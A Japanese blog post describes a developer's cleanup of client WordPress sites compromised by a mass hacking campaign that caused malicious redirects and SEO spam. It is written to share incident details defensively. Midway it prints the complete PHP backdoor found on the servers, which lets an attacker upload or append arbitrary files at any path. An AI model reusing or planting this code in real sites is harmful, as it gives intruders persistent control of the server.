大規模・広範囲にわたるクラッキングによるWordPress改ざん事案が発生中
久しぶりにえらいこっちゃな事態に遭遇・・・。
当ブログや僕自身が開発・運用するWordPressサイトでの話ではないのですが、新規にご依頼いただいたクライアントさまの保有するサイトが、いくつかクラッキング→改ざんされるという事態に見舞われまして、その復旧作業をしたので、情報共有をしておくべきかなと思い記事化しておくことにしました。
改ざんされることで起きること
クラッキングされたサイトは、アクセスするとそのままリダイレクトされ、別のサイトに飛ばされるようになっていました。しかもリダイレクトは何重にもなっていて、複数のドメインがランダムに切り替わり、最終的にはよくわからん広告が表示されます。
当然ですが、本来表示されるべきページには一切たどり着くことはありません。で、問題はこれだけじゃなく他にもあったり。
面倒この上ないのですが、いわゆるSEOハックと呼ばれることまでやられてます。
当然ですが、クラックされたサイトは問題ありとしてGoogleの検索結果にも表示されなくなりますし、アクセスそのものが奪われる形になるのでPVもだだ下がります。
調べてみると、同様の症状が起きているサイトが6月中旬以降から続々増えているようで、すでに5000サイト以上が被害にあっているのではないかと言われています。
バックドアがいくつもいくつも見つかる
復旧することになり、早速サーバー内のファイルを確認してみたところ、怪しいファイルを確認。開いてみるとこんなコードが記載されていました。
if(isset($_POST['upload'])) { if($_POST['upload']=='1') { $uploadfile = $_POST['path'].$_FILES['uploadfile']['name']; if(move_uploaded_file($_FILES['uploadfile']['tmp_name'], $uploadfile)) { echo 'ok'; } else { echo $_FILES['uploadfile']['error']; } } if($_POST['upload']=='2') { $fp=fopen($_POST['path'],'a'); fwrite($fp, "\r\n"); fwrite($fp, $_POST['uploadfile']); fclose($fp); echo 'ok'; } } else { header('Location: ../../'); }
いわゆるバックドアです。
クラッカーによるサイト改ざんのための裏口が設置されていました。それもひとつではなく複数。いくつもいくつもいくつも見つかりました。
このコードが書かれたファイルがひとつでも残っていると、ここを経由して任意のファイルをアップロードされてしまうわけです。コードの中身は共通でもファイル名はそれぞれ異なり、知識のない人がファイル名だけで怪しいと判断するには難しいものばかりとなっていました。
実際にはWordPressには存在しないファイル名ばかりなので、多少わかってればすぐに気づけるとは思うのですけどね。。
ただ、怪しいファイルだけのみならず、けったいなことにWordPressプラグインに擬態しているものもありました。これはさすがにすぐには気づけなかった。
他にもWordPressのコアファイルのindex.php
や、各ディレクトリに設置されているindex.php
の中身も改ざんされていたり、はたまた作られていたり、さらにはwp-includes
の中にまで。。正直、この手法を取られると、より危険性の高い改ざんも可能になるだけに、早急の解決が望ましいところです。
原因はWordPressやプラグインの脆弱性
クラッキングされたサイトは、WordPress本体のバージョンが微妙に古かったり、使用しているプラグインがすでに数年更新されていないままだったり。
おそらくそれらの脆弱性をクラッカーに突かれてしまったのではないかと思われます。基本的に、WordPress本体の更新というのは必ずやるべきことです。
更新がされないままのプラグインは基本的に使ってはいけないし、プラグインも更新があった場合は最新版にすることが望ましいです。
また、こうした被害を考えてセキュリティを強固にしないといけません。
今回被害を受けたクライアントさまのサイトは、いくつもWordPressサイトを量産している人(個人的にも知ってる人)の手によるものなのですが、中身を見るに、上述したようなことはまったく意識されていなかったんですよね。。これはちょっと仕事振れないレベルですよ、ホント。なんでこういうことしちゃうかなあ・・・。
復旧にはかなりの労力がかかることを覚悟しよう
まあ、とはいえ、こうした改ざん被害はWordPressの場合、結構な頻度で起きることですし、いくら最新版にしても、さらには想定される経路を塞いだとしても、起きるときは起きてしまうのが実際のところ。
問題はいかにして復旧するか? という点ではありますが、ぶっちゃけかなり労力かかります。サーバーを丹念にチェックし、プログラム上、怪しい記述が含まれていないかどうか、存在すべきファイルなのかどうかを調べて、修正していかなければなりません。
ひとつでも取り残しがあると、またそこから汚染が広がっていってしまうので、とにかく入念に入念に対処していきましょう。